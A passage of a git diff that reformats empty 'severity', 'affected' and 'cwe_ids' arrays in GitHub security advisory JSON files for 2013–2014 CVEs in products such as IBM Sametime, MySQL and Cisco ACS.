PTHN98FLQ2.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8r89-7xfh-6ggc/GHSA-8r89-7xfh-6ggc.json b/advisories/unreviewed/2022/05/GHSA-8r89-7xfh-6ggc/GHSA-8r89-7xfh-6ggc.json index ebdd281c456..970c7dbdcba 100644 --- a/advisories/unreviewed/2022/05/GHSA-8r89-7xfh-6ggc/GHSA-8r89-7xfh-6ggc.json +++ b/advisories/unreviewed/2022/05/GHSA-8r89-7xfh-6ggc/GHSA-8r89-7xfh-6ggc.json @@ -7,12 +7,8 @@ "CVE-2013-5952" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in the Freichat (com_freichat) component, possibly 9.4 and earlier, for Joomla! allow remote attackers to inject arbitrary web script or HTML via the (1) id or (2) xhash parameter to client/chat.php or (3) toname parameter to client/plugins/upload/upload.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8w5p-mg38-mhc4/GHSA-8w5p-mg38-mhc4.json b/advisories/unreviewed/2022/05/GHSA-8w5p-mg38-mhc4/GHSA-8w5p-mg38-mhc4.json index 284d080b0ac..36ddec6de10 100644 --- a/advisories/unreviewed/2022/05/GHSA-8w5p-mg38-mhc4/GHSA-8w5p-mg38-mhc4.json +++ b/advisories/unreviewed/2022/05/GHSA-8w5p-mg38-mhc4/GHSA-8w5p-mg38-mhc4.json @@ -7,12 +7,8 @@ "CVE-2013-6300" ], "details": "Cross-site scripting (XSS) vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and ACSWeb in AlgoWebApps 5.0.0, allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors, a different vulnerability than CVE-2013-6299, CVE-2013-6301, CVE-2013-6320, and CVE-2013-6333.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8w6x-8cjm-r288/GHSA-8w6x-8cjm-r288.json b/advisories/unreviewed/2022/05/GHSA-8w6x-8cjm-r288/GHSA-8w6x-8cjm-r288.json index 74038f12799..93c00a69c9f 100644 --- a/advisories/unreviewed/2022/05/GHSA-8w6x-8cjm-r288/GHSA-8w6x-8cjm-r288.json +++ b/advisories/unreviewed/2022/05/GHSA-8w6x-8cjm-r288/GHSA-8w6x-8cjm-r288.json @@ -7,12 +7,8 @@ "CVE-2013-3782" ], "details": "Unspecified vulnerability in the Secure Global Desktop component in Oracle Virtualization 4.6 prior to 4.63 and 4.7 prior to 4.71 allows remote attackers to affect integrity via unknown vectors related to Web UI.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-8w93-h4wx-3pgr/GHSA-8w93-h4wx-3pgr.json b/advisories/unreviewed/2022/05/GHSA-8w93-h4wx-3pgr/GHSA-8w93-h4wx-3pgr.json index 259ff15d251..50afeb8a736 100644 --- a/advisories/unreviewed/2022/05/GHSA-8w93-h4wx-3pgr/GHSA-8w93-h4wx-3pgr.json +++ b/advisories/unreviewed/2022/05/GHSA-8w93-h4wx-3pgr/GHSA-8w93-h4wx-3pgr.json @@ -7,12 +7,8 @@ "CVE-2013-5371" ], "details": "The client in IBM Tivoli Storage Manager (TSM) 6.3.1 and 6.4.0 on Windows does not preserve permissions of Resilient File System (ReFS) files across backup and restore operations, which allows local users to bypass intended access restrictions via standard filesystem operations.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-8wf4-vh2f-5v75/GHSA-8wf4-vh2f-5v75.json b/advisories/unreviewed/2022/05/GHSA-8wf4-vh2f-5v75/GHSA-8wf4-vh2f-5v75.json index ca4635cd3cc..e4051bad0be 100644 --- a/advisories/unreviewed/2022/05/GHSA-8wf4-vh2f-5v75/GHSA-8wf4-vh2f-5v75.json +++ b/advisories/unreviewed/2022/05/GHSA-8wf4-vh2f-5v75/GHSA-8wf4-vh2f-5v75.json @@ -7,12 +7,8 @@ "CVE-2013-4037" ], "details": "The RAKP protocol support in the Intelligent Platform Management Interface (IPMI) implementation in Integrated Management Module (IMM) and Integrated Management Module II (IMM2) on IBM BladeCenter, Flex System, System x iDataPlex, and System x3### servers sends a password hash to the client, which makes it easier for remote attackers to obtain access via a brute-force attack.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-8wfg-3q96-w9rf/GHSA-8wfg-3q96-w9rf.json b/advisories/unreviewed/2022/05/GHSA-8wfg-3q96-w9rf/GHSA-8wfg-3q96-w9rf.json index a7364a659c9..6c2796b7d68 100644 --- a/advisories/unreviewed/2022/05/GHSA-8wfg-3q96-w9rf/GHSA-8wfg-3q96-w9rf.json +++ b/advisories/unreviewed/2022/05/GHSA-8wfg-3q96-w9rf/GHSA-8wfg-3q96-w9rf.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8x29-769m-47cw/GHSA-8x29-769m-47cw.json b/advisories/unreviewed/2022/05/GHSA-8x29-769m-47cw/GHSA-8x29-769m-47cw.json index fae91e196f9..c5bc167d310 100644 --- a/advisories/unreviewed/2022/05/GHSA-8x29-769m-47cw/GHSA-8x29-769m-47cw.json +++ b/advisories/unreviewed/2022/05/GHSA-8x29-769m-47cw/GHSA-8x29-769m-47cw.json @@ -7,12 +7,8 @@ "CVE-2013-5301" ], "details": "Directory traversal vulnerability in help.php in Trustport Webfilter 5.5.0.2232 allows remote attackers to read arbitrary files via a .. (dot dot) in the hf parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8x8p-v7x6-7pfq/GHSA-8x8p-v7x6-7pfq.json b/advisories/unreviewed/2022/05/GHSA-8x8p-v7x6-7pfq/GHSA-8x8p-v7x6-7pfq.json index e091e46fc73..7e407fcce16 100644 --- a/advisories/unreviewed/2022/05/GHSA-8x8p-v7x6-7pfq/GHSA-8x8p-v7x6-7pfq.json +++ b/advisories/unreviewed/2022/05/GHSA-8x8p-v7x6-7pfq/GHSA-8x8p-v7x6-7pfq.json @@ -7,12 +7,8 @@ "CVE-2013-3977" ], "details": "The Meeting Server in IBM Sametime 8.x through 8.5.2.1 and 9.x through 9.0.0.1 allows remote attackers to determine which meeting rooms are owned by a user by leveraging knowledge of valid user names.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-8xv5-gm34-44xw/GHSA-8xv5-gm34-44xw.json b/advisories/unreviewed/2022/05/GHSA-8xv5-gm34-44xw/GHSA-8xv5-gm34-44xw.json index 86ae04634c9..1cc5b34819f 100644 --- a/advisories/unreviewed/2022/05/GHSA-8xv5-gm34-44xw/GHSA-8xv5-gm34-44xw.json +++ b/advisories/unreviewed/2022/05/GHSA-8xv5-gm34-44xw/GHSA-8xv5-gm34-44xw.json @@ -7,12 +7,8 @@ "CVE-2013-6333" ], "details": "Cross-site scripting (XSS) vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and ACSWeb in AlgoWebApps 5.0.0, allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors, a different vulnerability than CVE-2013-6299, CVE-2013-6300, CVE-2013-6301, and CVE-2013-6320.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9229-f3q3-427j/GHSA-9229-f3q3-427j.json b/advisories/unreviewed/2022/05/GHSA-9229-f3q3-427j/GHSA-9229-f3q3-427j.json index 27bb2090c9f..ce05dfb5e08 100644 --- a/advisories/unreviewed/2022/05/GHSA-9229-f3q3-427j/GHSA-9229-f3q3-427j.json +++ b/advisories/unreviewed/2022/05/GHSA-9229-f3q3-427j/GHSA-9229-f3q3-427j.json @@ -7,12 +7,8 @@ "CVE-2013-3986" ], "details": "IBM Lotus Sametime 8.5.2 and 8.5.2.1 allows remote attackers to cause a denial of service (WebPlayer Firefox extension crash) via a crafted Audio Visual (AV) session.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9262-6whg-g7rv/GHSA-9262-6whg-g7rv.json b/advisories/unreviewed/2022/05/GHSA-9262-6whg-g7rv/GHSA-9262-6whg-g7rv.json index efd5c79e80d..38179fcf8f6 100644 --- a/advisories/unreviewed/2022/05/GHSA-9262-6whg-g7rv/GHSA-9262-6whg-g7rv.json +++ b/advisories/unreviewed/2022/05/GHSA-9262-6whg-g7rv/GHSA-9262-6whg-g7rv.json @@ -7,12 +7,8 @@ "CVE-2013-4447" ], "details": "Cross-site scripting (XSS) vulnerability in the API in the Simplenews module 6.x-1.x before 6.x-1.5 and 7.x-1.x before 7.x-1.1 for Drupal allows remote attackers to inject arbitrary web script or HTML via an email address.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-936c-9m2v-j9p6/GHSA-936c-9m2v-j9p6.json b/advisories/unreviewed/2022/05/GHSA-936c-9m2v-j9p6/GHSA-936c-9m2v-j9p6.json index 0b849bdb098..2f2f5385258 100644 --- a/advisories/unreviewed/2022/05/GHSA-936c-9m2v-j9p6/GHSA-936c-9m2v-j9p6.json +++ b/advisories/unreviewed/2022/05/GHSA-936c-9m2v-j9p6/GHSA-936c-9m2v-j9p6.json @@ -7,12 +7,8 @@ "CVE-2013-5458" ], "details": "Unspecified vulnerability in IBM Java SDK 7.0.0 before SR6 allows remote attackers to execute arbitrary code via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -52,9 +48,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-93fc-g7mh-w7p5/GHSA-93fc-g7mh-w7p5.json b/advisories/unreviewed/2022/05/GHSA-93fc-g7mh-w7p5/GHSA-93fc-g7mh-w7p5.json index c572aa7e05e..1337176ade6 100644 --- a/advisories/unreviewed/2022/05/GHSA-93fc-g7mh-w7p5/GHSA-93fc-g7mh-w7p5.json +++ b/advisories/unreviewed/2022/05/GHSA-93fc-g7mh-w7p5/GHSA-93fc-g7mh-w7p5.json @@ -7,12 +7,8 @@ "CVE-2013-2586" ], "details": "XAMPP 1.8.1 does not properly restrict access to xampp/lang.php, which allows remote attackers to modify xampp/lang.tmp and execute cross-site scripting (XSS) attacks via the WriteIntoLocalDisk method.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-93ww-cxcr-rvw4/GHSA-93ww-cxcr-rvw4.json b/advisories/unreviewed/2022/05/GHSA-93ww-cxcr-rvw4/GHSA-93ww-cxcr-rvw4.json index fc2a0bc6a3b..3c3bb507196 100644 --- a/advisories/unreviewed/2022/05/GHSA-93ww-cxcr-rvw4/GHSA-93ww-cxcr-rvw4.json +++ b/advisories/unreviewed/2022/05/GHSA-93ww-cxcr-rvw4/GHSA-93ww-cxcr-rvw4.json @@ -7,12 +7,8 @@ "CVE-2013-7303" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in (1) squelettes-dist/formulaires/inscription.php and (2) prive/forms/editer_auteur.php in SPIP before 2.1.25 and 3.0.x before 3.0.13 allow remote attackers to inject arbitrary web script or HTML via the author name field.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-94j6-p84m-v3vc/GHSA-94j6-p84m-v3vc.json b/advisories/unreviewed/2022/05/GHSA-94j6-p84m-v3vc/GHSA-94j6-p84m-v3vc.json index 85e81a51fe5..effc278afc8 100644 --- a/advisories/unreviewed/2022/05/GHSA-94j6-p84m-v3vc/GHSA-94j6-p84m-v3vc.json +++ b/advisories/unreviewed/2022/05/GHSA-94j6-p84m-v3vc/GHSA-94j6-p84m-v3vc.json @@ -7,12 +7,8 @@ "CVE-2013-4433" ], "details": "Cross-site scripting (XSS) vulnerability in XHProf before 0.9.4 allows remote attackers to inject arbitrary web script or HTML via the run parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-95v2-f3mg-75qx/GHSA-95v2-f3mg-75qx.json b/advisories/unreviewed/2022/05/GHSA-95v2-f3mg-75qx/GHSA-95v2-f3mg-75qx.json index d57b281a55f..151f5da4762 100644 --- a/advisories/unreviewed/2022/05/GHSA-95v2-f3mg-75qx/GHSA-95v2-f3mg-75qx.json +++ b/advisories/unreviewed/2022/05/GHSA-95v2-f3mg-75qx/GHSA-95v2-f3mg-75qx.json @@ -7,12 +7,8 @@ "CVE-2013-5440" ], "details": "IBM InfoSphere Information Server 8.0, 8.1, 8.5, 8.7, and 9.1 allows local users to obtain sensitive information in opportunistic circumstances by leveraging the presence of file content after a failed installation.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-969h-mh45-m487/GHSA-969h-mh45-m487.json b/advisories/unreviewed/2022/05/GHSA-969h-mh45-m487/GHSA-969h-mh45-m487.json index 99ffba1d399..1f9d3119219 100644 --- a/advisories/unreviewed/2022/05/GHSA-969h-mh45-m487/GHSA-969h-mh45-m487.json +++ b/advisories/unreviewed/2022/05/GHSA-969h-mh45-m487/GHSA-969h-mh45-m487.json @@ -7,12 +7,8 @@ "CVE-2013-7057" ], "details": "Cross-site request forgery (CSRF) vulnerability in Axway SecureTransport 5.1 SP2 and earlier allows remote attackers to hijack the authentication of unspecified users for requests that upload arbitrary files via a crafted request to api/v1.0/files/.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-96fc-6g63-3h88/GHSA-96fc-6g63-3h88.json b/advisories/unreviewed/2022/05/GHSA-96fc-6g63-3h88/GHSA-96fc-6g63-3h88.json index 95298663946..bf355382815 100644 --- a/advisories/unreviewed/2022/05/GHSA-96fc-6g63-3h88/GHSA-96fc-6g63-3h88.json +++ b/advisories/unreviewed/2022/05/GHSA-96fc-6g63-3h88/GHSA-96fc-6g63-3h88.json @@ -7,12 +7,8 @@ "CVE-2013-6331" ], "details": "SQL injection vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and ACSWeb in AlgoWebApps 5.0.0, allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors, a different vulnerability than CVE-2013-6302.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-96h6-4894-p3mr/GHSA-96h6-4894-p3mr.json b/advisories/unreviewed/2022/05/GHSA-96h6-4894-p3mr/GHSA-96h6-4894-p3mr.json index a0d4449d0d2..5bd9299e3eb 100644 --- a/advisories/unreviewed/2022/05/GHSA-96h6-4894-p3mr/GHSA-96h6-4894-p3mr.json +++ b/advisories/unreviewed/2022/05/GHSA-96h6-4894-p3mr/GHSA-96h6-4894-p3mr.json @@ -7,12 +7,8 @@ "CVE-2013-3995" ], "details": "Cross-site scripting (XSS) vulnerability in IBM InfoSphere BigInsights 1.1 through 2.1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-979x-3prm-92mq/GHSA-979x-3prm-92mq.json b/advisories/unreviewed/2022/05/GHSA-979x-3prm-92mq/GHSA-979x-3prm-92mq.json index 84a7d751779..71087713f0d 100644 --- a/advisories/unreviewed/2022/05/GHSA-979x-3prm-92mq/GHSA-979x-3prm-92mq.json +++ b/advisories/unreviewed/2022/05/GHSA-979x-3prm-92mq/GHSA-979x-3prm-92mq.json @@ -7,12 +7,8 @@ "CVE-2013-5369" ], "details": "IBM SPSS Analytical Decision Management 6.1 before IF1, 6.2 before IF1, and 7.0 before FP1 IF6 might allow remote attackers to execute arbitrary code by deploying and accessing a service.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9853-rv85-5hgc/GHSA-9853-rv85-5hgc.json b/advisories/unreviewed/2022/05/GHSA-9853-rv85-5hgc/GHSA-9853-rv85-5hgc.json index 082e6bb514c..786d566fe05 100644 --- a/advisories/unreviewed/2022/05/GHSA-9853-rv85-5hgc/GHSA-9853-rv85-5hgc.json +++ b/advisories/unreviewed/2022/05/GHSA-9853-rv85-5hgc/GHSA-9853-rv85-5hgc.json @@ -7,12 +7,8 @@ "CVE-2013-6747" ], "details": "IBM GSKit 7.x before 7.0.4.48 and 8.x before 8.0.50.16, as used in IBM Security Directory Server (ISDS) and Tivoli Directory Server (TDS), allows remote attackers to cause a denial of service (application crash or hang) via a malformed X.509 certificate chain.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-997x-r83r-3cmw/GHSA-997x-r83r-3cmw.json b/advisories/unreviewed/2022/05/GHSA-997x-r83r-3cmw/GHSA-997x-r83r-3cmw.json index 2b5c086baa1..bc34aed2982 100644 --- a/advisories/unreviewed/2022/05/GHSA-997x-r83r-3cmw/GHSA-997x-r83r-3cmw.json +++ b/advisories/unreviewed/2022/05/GHSA-997x-r83r-3cmw/GHSA-997x-r83r-3cmw.json @@ -7,12 +7,8 @@ "CVE-2014-0663" ], "details": "Cross-site scripting (XSS) vulnerability in the web framework in Cisco Secure Access Control System (ACS) allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka Bug ID CSCum03625.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9c67-7mw3-g345/GHSA-9c67-7mw3-g345.json b/advisories/unreviewed/2022/05/GHSA-9c67-7mw3-g345/GHSA-9c67-7mw3-g345.json index 1e2dca62ce0..f45f095d06f 100644 --- a/advisories/unreviewed/2022/05/GHSA-9c67-7mw3-g345/GHSA-9c67-7mw3-g345.json +++ b/advisories/unreviewed/2022/05/GHSA-9c67-7mw3-g345/GHSA-9c67-7mw3-g345.json @@ -7,12 +7,8 @@ "CVE-2013-2691" ], "details": "Stack-based buffer overflow in the JetMPG.ax module in jetAudio 8.0.17 allows remote attackers to execute arbitrary code via a crafted MPEG2-TS video file, related to the MPEG2 transport stream.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9cc6-jfq4-hr65/GHSA-9cc6-jfq4-hr65.json b/advisories/unreviewed/2022/05/GHSA-9cc6-jfq4-hr65/GHSA-9cc6-jfq4-hr65.json index 2b3d055ee65..2cd4fa710ab 100644 --- a/advisories/unreviewed/2022/05/GHSA-9cc6-jfq4-hr65/GHSA-9cc6-jfq4-hr65.json +++ b/advisories/unreviewed/2022/05/GHSA-9cc6-jfq4-hr65/GHSA-9cc6-jfq4-hr65.json @@ -7,12 +7,8 @@ "CVE-2013-5860" ], "details": "Unspecified vulnerability in the MySQL Server component in Oracle MySQL 5.6.14 and earlier allows remote authenticated users to affect availability via vectors related to GIS.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-9fwm-6w9f-rw48/GHSA-9fwm-6w9f-rw48.json b/advisories/unreviewed/2022/05/GHSA-9fwm-6w9f-rw48/GHSA-9fwm-6w9f-rw48.json index 1d1b76fbc12..feaba7e5093 100644 --- a/advisories/unreviewed/2022/05/GHSA-9fwm-6w9f-rw48/GHSA-9fwm-6w9f-rw48.json +++ b/advisories/unreviewed/2022/05/GHSA-9fwm-6w9f-rw48/GHSA-9fwm-6w9f-rw48.json @@ -7,12 +7,8 @@ "CVE-2013-3972" ], "details": "IBM Maximo Asset Management 7.1 before 7.1.1.12 and 7.5 before 7.5.0.5 allows remote authenticated users to obtain sensitive information via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9grg-r269-mcjp/GHSA-9grg-r269-mcjp.json b/advisories/unreviewed/2022/05/GHSA-9grg-r269-mcjp/GHSA-9grg-r269-mcjp.json index 9b41a1b0036..530ce4afaa3 100644 --- a/advisories/unreviewed/2022/05/GHSA-9grg-r269-mcjp/GHSA-9grg-r269-mcjp.json +++ b/advisories/unreviewed/2022/05/GHSA-9grg-r269-mcjp/GHSA-9grg-r269-mcjp.json @@ -7,12 +7,8 @@ "CVE-2013-5930" ], "details": "Cross-site scripting (XSS) vulnerability in search_residential.php in Real Estate PHP Script allows remote attackers to inject arbitrary web script or HTML via the bos parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9h56-55p8-xgj2/GHSA-9h56-55p8-xgj2.json b/advisories/unreviewed/2022/05/GHSA-9h56-55p8-xgj2/GHSA-9h56-55p8-xgj2.json index 36efbeca9c6..b449d7e0ec5 100644 --- a/advisories/unreviewed/2022/05/GHSA-9h56-55p8-xgj2/GHSA-9h56-55p8-xgj2.json +++ b/advisories/unreviewed/2022/05/GHSA-9h56-55p8-xgj2/GHSA-9h56-55p8-xgj2.json @@ -7,12 +7,8 @@ "CVE-2014-0407" ], "details": "Unspecified vulnerability in the Oracle VM VirtualBox component in Oracle Virtualization VirtualBox prior to 3.2.20, 4.0.22, 4.1.30, 4.2.20, and 4.3.4 allows local users to affect confidentiality, integrity, and availability via unknown vectors related to Core, a different vulnerability than CVE-2014-0405.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -52,9 +48,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-9h9p-gqwf-ccxq/GHSA-9h9p-gqwf-ccxq.json b/advisories/unreviewed/2022/05/GHSA-9h9p-gqwf-ccxq/GHSA-9h9p-gqwf-ccxq.json index 6b6699090bd..4df0b4f7167 100644 --- a/advisories/unreviewed/2022/05/GHSA-9h9p-gqwf-ccxq/GHSA-9h9p-gqwf-ccxq.json +++ b/advisories/unreviewed/2022/05/GHSA-9h9p-gqwf-ccxq/GHSA-9h9p-gqwf-ccxq.json @@ -7,12 +7,8 @@ "CVE-2013-5894" ], "details": "Unspecified vulnerability in the MySQL Server component in Oracle MySQL 5.6.13 and earlier allows remote authenticated users to affect availability via unknown vectors related to InnoDB.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-9hr9-jv3h-3wxf/GHSA-9hr9-jv3h-3wxf.json b/advisories/unreviewed/2022/05/GHSA-9hr9-jv3h-3wxf/GHSA-9hr9-jv3h-3wxf.json index bb17ac1fc77..8d333abd0c1 100644 --- a/advisories/unreviewed/2022/05/GHSA-9hr9-jv3h-3wxf/GHSA-9hr9-jv3h-3wxf.json +++ b/advisories/unreviewed/2022/05/GHSA-9hr9-jv3h-3wxf/GHSA-9hr9-jv3h-3wxf.json @@ -7,12 +7,8 @@ "CVE-2013-6743" ], "details": "Cross-site scripting (XSS) vulnerability in the Meeting Server in IBM Sametime 8.5.2 through 8.5.2.1 and 9.x through 9.0.0.1 allows remote authenticated users to inject arbitrary web script or HTML via vectors involving an IMG element.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9j34-5qgm-c4jh/GHSA-9j34-5qgm-c4jh.json b/advisories/unreviewed/2022/05/GHSA-9j34-5qgm-c4jh/GHSA-9j34-5qgm-c4jh.json index cc893ebb96e..40e7f7a007b 100644 --- a/advisories/unreviewed/2022/05/GHSA-9j34-5qgm-c4jh/GHSA-9j34-5qgm-c4jh.json +++ b/advisories/unreviewed/2022/05/GHSA-9j34-5qgm-c4jh/GHSA-9j34-5qgm-c4jh.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9jfr-5vxg-p8cq/GHSA-9jfr-5vxg-p8cq.json b/advisories/unreviewed/2022/05/GHSA-9jfr-5vxg-p8cq/GHSA-9jfr-5vxg-p8cq.json index 89f976f4344..fdb11f176c5 100644 --- a/advisories/unreviewed/2022/05/GHSA-9jfr-5vxg-p8cq/GHSA-9jfr-5vxg-p8cq.json +++ b/advisories/unreviewed/2022/05/GHSA-9jfr-5vxg-p8cq/GHSA-9jfr-5vxg-p8cq.json @@ -7,12 +7,8 @@ "CVE-2013-5378" ], "details": "Cross-site scripting (XSS) vulnerability in IBM WebSphere Portal 8.x before 8.0.0.1 CF8 allows remote authenticated users to inject arbitrary web script or HTML by leveraging incorrect IBM Connections integration.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9jhq-843g-53qq/GHSA-9jhq-843g-53qq.json b/advisories/unreviewed/2022/05/GHSA-9jhq-843g-53qq/GHSA-9jhq-843g-53qq.json index f0c585c3880..ac6117eff19 100644 --- a/advisories/unreviewed/2022/05/GHSA-9jhq-843g-53qq/GHSA-9jhq-843g-53qq.json +++ b/advisories/unreviewed/2022/05/GHSA-9jhq-843g-53qq/GHSA-9jhq-843g-53qq.json @@ -7,12 +7,8 @@ "CVE-2013-3421" ], "details": "Cross-site scripting (XSS) vulnerability in the Help index page in Cisco Secure Access Control System (ACS) allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka Bug ID CSCud75170.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9jmx-7vxg-vmpp/GHSA-9jmx-7vxg-vmpp.json b/advisories/unreviewed/2022/05/GHSA-9jmx-7vxg-vmpp/GHSA-9jmx-7vxg-vmpp.json index a3e2ce56246..df2b1ec040f 100644 --- a/advisories/unreviewed/2022/05/GHSA-9jmx-7vxg-vmpp/GHSA-9jmx-7vxg-vmpp.json +++ b/advisories/unreviewed/2022/05/GHSA-9jmx-7vxg-vmpp/GHSA-9jmx-7vxg-vmpp.json @@ -7,12 +7,8 @@ "CVE-2013-2955" ], "details": "Cross-site scripting (XSS) vulnerability in IBM InfoSphere Optim Data Growth for Oracle E-Business Suite 6.x, 7.x, and 9.x before 9.1.0.3 allows remote authenticated users to inject arbitrary web script or HTML via a crafted URL, related to a stored XSS issue.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9jw7-mw5h-3mcm/GHSA-9jw7-mw5h-3mcm.json b/advisories/unreviewed/2022/05/GHSA-9jw7-mw5h-3mcm/GHSA-9jw7-mw5h-3mcm.json index ca78e462c53..4a7e647077e 100644 --- a/advisories/unreviewed/2022/05/GHSA-9jw7-mw5h-3mcm/GHSA-9jw7-mw5h-3mcm.json +++ b/advisories/unreviewed/2022/05/GHSA-9jw7-mw5h-3mcm/GHSA-9jw7-mw5h-3mcm.json @@ 